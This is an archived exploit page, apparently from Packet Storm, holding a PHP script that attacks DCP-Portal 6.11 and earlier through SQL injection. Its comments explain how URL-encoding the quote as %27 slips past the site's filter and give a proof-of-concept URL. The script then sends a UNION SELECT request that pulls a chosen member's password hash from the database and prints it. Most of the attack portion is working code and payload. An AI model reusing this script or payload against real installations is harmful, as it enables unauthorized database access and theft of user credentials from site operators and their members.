exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

dcpportal-sql.txt

dcpportal-sql.txt
Posted Jan 7, 2008
Authored by x0kster

DCP-Portal versions 6.11 and below remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | e7b8eb8d74b26cef2ab8d3d5c76142829fb5b80d533f1cc94e396fed1911ec37

dcpportal-sql.txt

Change Mirror Download
#!/usr/bin/php -q
<?php
echo "[*]DCP Portal <= 6.11 Remote SQL Injection Exploit\r\n";
echo "[*]Coded by x0kster -x0kster[AT]gmail[DOT]com - \r\n";
/*
Note : Magic Quotes = 0
Script Download : http://www.dcp-portal.org/

Bug in index.php :

<?php
//index.php
[...]
60. $sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY sort, name";
[...]
?>

But the script filter the quotes with this code, included in each page of the cms:

<?php
//config/config.inc.php
[...]
118. if (strlen($_SERVER['QUERY_STRING']) > 0) {
119. $str = $_SERVER['QUERY_STRING'];
120. $arr = split('[;&]', URLdecode($str));
121. $pos = strpos($str, "'");
122. if ($pos) {
123. $hackattempt = true; }
[...]
?>

But we can bypass this control using %27 instead ' :-).

So this is the simple PoC:
http://site/path/index.php?cid=-1%27+union+select+1,password+from+dcp5_members+where+uid=1/*

Exploit :
*/
if ($argc<4) {
echo "[*]Usage: php ".$argv[0]." host path id\r\n";
echo "[*]Example:\r\n";
echo "[*]php ".$argv[0]." localhost /dcp-portal/ 1\r\n";
die;
}

function get_response($packet){
global $host, $response;
$socket=fsockopen(gethostbyname($host),80);
if (!$socket) { echo "[-]Error contacting $host.\r\n"; exit();}
fputs($socket,$packet);
$response='';
while (!feof($socket)) {
$response.=fgets($socket);
}
fclose($socket);
}

$host =$argv[1];
$path =$argv[2];
$id = $argv[3];

$packet ="GET ".$path."index.php?cid=-1%27+union+select+1,concat(0x78306b73746572,password,0x78306b73746572)+from+dcp5_members+where+uid=".$id."/*";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";

get_response($packet);
if(strstr($response,"x0kster")){
$hash = explode("x0kster",$response,32);
echo "[+]Ok, the hash is : $hash[1]\r\n";
die;
}else{
echo "[-]Exploit filed, maybe fixed or incorrect id.\r\n";
die;
}

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close